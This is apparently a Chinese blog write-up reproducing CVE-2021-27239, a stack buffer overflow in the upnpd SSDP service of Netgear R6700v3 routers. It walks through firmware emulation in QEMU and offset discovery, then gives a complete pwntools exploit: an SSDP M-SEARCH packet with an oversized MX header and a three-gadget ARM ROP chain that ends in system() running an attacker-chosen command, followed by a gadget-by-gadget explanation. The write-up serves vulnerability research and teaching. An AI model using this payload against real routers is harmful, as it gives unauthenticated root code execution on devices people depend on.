• Netgear R6700v3 1.0.4.102(CVE-2021-27239)


    漏洞信息

    此漏洞允许网络相邻攻击者在受影响的NETGEAR R6400和R6700固件版本1.0.4.98路由器上执行任意代码。利用此漏洞不需要身份验证。该漏洞存在于upnpd服务中,upnpd服务默认监听UDP 1900端口。SSDP消息中精心制作的MX报头字段可能会触发固定长度的基于堆栈的缓冲区溢出。攻击者可以利用此漏洞在根上下文中执行代码。

    漏洞复现

    拟机:Ubuntu20.04、qemu虚拟机
    固件:R6700v3-V1.0.4.102_10.0.75.chk
    工具:IDA、binwalk、qemu

    固件模拟

    已经知道漏洞产生于upnp服务,在binwalk解包后的文件中用find命令查找文件名包含upnp的文件,找到/usr/sbin/upnpd,IDA打开upnpd根据漏洞描述的MX报头字段搜索字符串MX确定漏洞点。见下图。
    QQ截图20230928111657.png
    strncpy函数复制的长度是SSDP协议中字段名’MX:‘和’\r\n’中间的字符长度,这样写复制就是我中间字符想写多长,都会被strncpy复制,造成栈溢出漏洞。此漏洞产生的本质是strncpy拷贝的最大长度,错误用法是这个长度取决于输入,所以会造成栈溢出,正确用法应该是取决于要拷贝到的地方的大小。
    进入qemu虚拟机后运行程序没有回显,且用ps命令查看程序,发现程序没有运行。所以程序因为某些错误无法运行。见下图。

    QQ截图20231001100959.png
    如何找到程序问题出在哪?首先明确的是我知道漏洞点在何处,所以先看漏洞点所在函数的函数调用图,找到如何从main函数到此函数并触发漏洞。先去分析main函数,main函数中会有很多条件判断用来验证初始条件,初始条件不满足就直接退出。通过静态分析可知程序缺少那些文件,这是猜想。接下来通过gdb远程调试验证猜想。动调时某些条件判断后程序走到退出则证明此条件不满足。再与静态分析的猜想进行验证,最终确定程序无法运行的问题出在何处。
    具体到本次复现,静态分析猜想/var/run/upnpd.pid对应的/var/run/不存在导致/var/run/upnpd.pid文件创建失败,进而走不到main中的sub_1B0E0()
    函数调用图
    静态分析的出现问题处的猜想
    动态分析中程序在0x24644地址处就会退出调试,原因是守护进程(daemon)创建时会用fork()创建子进程,导致父进程exit()退出,就会导致动调退出。解决方法是0x2463C到0x2464C的汇编nop掉,即去掉daemon函数。动调可执行,最后将问题确定在没有/var/run/目录。
    /var/run/upnpd.pid文件打开失败导致退出
    具体创建/var/run/目录时,首先使用mkdir /var/run回显mkdir: cannot create directory '/var/run': No such file or directory,再用ls -la /var查看 /var 目录详细信息,回显lrwxrwxrwx 1 1000 1000 7 Sep 22 2020 /var -> tmp/var,表明 /var 实际上是一个链接,指向了tmp/var目录,最后使用mkdir -p /tmp/var/run创建/tmp/var/run目录。
    QQ截图20231001155958.png
    完成目录创建后再运行程序,出现报错。
    QQ截图20231001155851.png
    用docker中的交叉编译环境armv51-gcc交叉编译custom_nvram_r6250.c变成nvram.so。并指定程序加载nvram.so。
    QQ截图20231001193515.png
    建立nvram.ini,并写入配置信息。此配置信息可由真机导出,但我没有真机,所以采用一份通用的nvram信息。其中lan_ipaddr换成qemu虚拟机的ip,hwver硬件架构写成固件版本名称,friendly_name名字随便写建议也写成固件版本名称。

    upnpd_debug_level=9
    lan_ipaddr=192.168.76.146
    hwver=R6700
    friendly_name=R6700
    upnp_enable=1
    upnp_turn_on=1
    upnp_advert_period=30
    upnp_advert_ttl=4
    upnp_portmap_entry=1
    upnp_duration=3600
    upnp_DHCPServerConfigurable=1
    wps_is_upnp=0
    upnp_sa_uuid=00000000000000000000
    lan_hwaddr=AA:BB:CC:DD:EE:FF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd。程序成功执行且nvram信息被程序获取到。
    QQ截图20231001195511.png
    所以固件成功模拟。

    漏洞利用

    from pwn import *
    
    sh = remote("192.168.76.146",1900,typ='udp')
    context.log_level = 'debug'
    
    command = b'touch ./abcd.txt'
    pld = b'M-SEARCH * HTTP/1.1\r\n'
    pld += b'Man:"ssdp:discover"\r\n'
    pld += b'MX:'
    pld += b'a' * 0x8c
    pld += b'\x08\x39\x01\r\n\x00'
    pld += b'a' * 0xa5
    pld += p32(0x000CD000)
    pld += b'a' * 8
    pld += p32(0x0000BB44)
    pld += command.ljust(0x400, b'\x00')
    pld += p32(0x000CD000)
    pld += b'a' * 8
    pld += p32(0x00017DD8)
    
    sh.send(pld)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    将abcd.txt文件写入
    QQ截图20231001215627.png

    漏洞分析

    strncpy的栈溢出漏洞,利用漏洞用到三段gadget

    .text:00017DD8 04 00 A0 E1                   MOV  R0, R4
    .text:00017DDC 20 CC FF EB                   BL system
    
    .text:00013908 02 DB 8D E2                   ADD SP, SP, #0x800
    .text:0001390C 70 80 BD E8                   POP {R4-R6,PC}
    
    .text:0000BB44 04 00 A0 E1                   MOV R0, R4 
    .text:0000BB48 0D 10 A0 E1                   MOV R1, SP
    .text:0000BB4C F2 FE FF EB                   BL strcpy
    .text:0000BB50 01 DB 8D E2                   ADD SP, SP, #0x400
    .text:0000BB54 70 80 BD E8                   POP {R4-R6,PC}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    用ROPgadget,使用ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop",一点一点地找gadget。所以找到这3段gadget是不简单的。
    首先是得调试上。在gdb-multiarch使用target remote 192.168.76.146:9999连接上qemu虚拟机后,此时pwndbg停住了,此时在IDA中找到strcnpy函数之前地址,然后下断。然后按c,让程序运行,直到按c后pwndbg回显Continuing。此时运行poc。然后在gdb中按c运行,直到在poc请求包打入后的状态停下。
    然后是找偏移。使用pwntools的cyclic找偏移。分3步:
    1、生成200个字符cyclic 200
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
    2、写验证偏移的脚本

    from pwn import *
    
    sh = remote("192.168.76.146",1900,typ='udp')
    context.log_level = 'debug'
    
    command = b'touch ./abcd.txt'
    pld = b'M-SEARCH * HTTP/1.1\r\n'
    pld += b'Man:"ssdp:discover"\r\n'
    pld += b'MX:'
    pld += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
    pld += b'\r\n'
    
    sh.send(pld)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    3、看报错信息确定偏移,见下图。得到偏移136。
    QQ截图20231002171425.png
    接着是找gadget。其中本次使用的3段gadget需要使用ROPgadget,使用ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop"。即ROPgadget搭配grep逐渐缩小范围,最终找到这三段gadget。所以找到这3段gadget是不简单的。
    strncpy函数复制数据时有1个特点是在允许复制的长度中遇到\x00会被截断,所以gadget中不能有\x00。本个例子也有1个特点是允许复制数据的长度是MX:之后到\r\n之间的数据的长度。所以本例子在构造poc时需要考虑这两点。注意poc中的pld += b'\x08\x39\x01\r\n\x00'这句考虑了2点:1、分析IDA反汇编的c代码可以,strncpy复制的长度是MX:与\r\n之间的内容的长度,长度是这个,内容也是这个,所以必加\r\n,而且地址这个数字没加\x00。2、\r\n之后的\x00是告诉程序SSDP协议的设备搜索请求的协议部分完成,确保整个协议格式正确可以被程序接收。
    逐行分析poc。根据本poc,偏移是140比之前找到的偏移136多4,找到的偏移与最终使用的偏移不同,这是1个保留的问题。返回地址是跳到地址0x00013908执行此句汇编(将栈顶往高地址放,其实是往栈底方向放,完成栈迁移)。这句是将sp+0x800,+0x800是精心构造好的,首先是只有地址0x00013908这句汇编的第二句是POP {R4-R6,PC},只有这么两句汇编可做为gadget,所以栈顶必须跳到距当前栈顶+0x800的位置,这个位置的内容必须这部分poc内容,见下面代码行,所以需要pld += b'a' * 0xa5把内容往下顶,让这部分poc正好够上迁移过来的栈。全部输入的内容都在这里,你想使用那部分就用那部分。

    pld += p32(0x000CD000)
    pld += b'a' * 8
    pld += p32(0x0000BB44)
    pld += command.ljust(0x400, b'\x00')
    pld += p32(0x000CD000)
    pld += b'a' * 8
    pld += p32(0x00017DD8)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    其中红框为打poc输入进来的全部内容
    所以第1个gadget的任务是将0xcd000这全局变量地址放到r4寄存器,将下一个gadget地址放到0xBB44放到pc寄存器,此时栈顶地址里放着要执行的命令即栈里放着命令字符串。总的来说第1个gadget干这3件事。见下图。
    QQ截图20231002203326.png
    进入第2个gadget,首先使用strcpy函数将0xcd000这个全局变量地址里放入要执行的命令字符串。见下图。
    QQ截图20231002204733.png
    接下继续用add sp, sp, #0x400抬栈,抬栈操作与pld += command.ljust(0x400, b'\x00')相对应。见下图。
    QQ截图20231002205137.png
    然后利用POP {R4-R6,PC}将r4中放入全局变量地址(全局变量地址中是命令字符串),r5和r6没用,随便填,pc中放入下个gadget地址。所以第2个gadget干了2件事,第1件利用strcpy函数将命令字符串放入全局变量地址,第2件事将全局变量地址放到r4,pc中放入下1个gadget地址。
    进入第3个gadget。干了一件事用system函数执行命令。
    QQ截图20231002210248.png
    整个poc构造是很紧密的。关键是找到打入poc后全部数据放在何处,还有就是要找到3个精美的gadget。

  • 相关阅读:
    基于监督学习的多模态MRI脑肿瘤分割,使用来自超体素的纹理特征(Matlab代码实现)
    Xilinx(AMD) 7系列FPGA——主BPI配置模式
    shell编程扩展-----bash编程
    信息化项目验收的依据、内容和验收测评报告
    面试:dex文件结构
    李嗣涔教授:挠场的科学
    【Vue3 + webStorm】 求助,vite.config.js代理不生效
    leveldb安装
    web自动化测试(selenium.webdriver)
    SRv6----IS-IS扩展
  • 原文地址:https://blog.csdn.net/weixin_45055269/article/details/133500753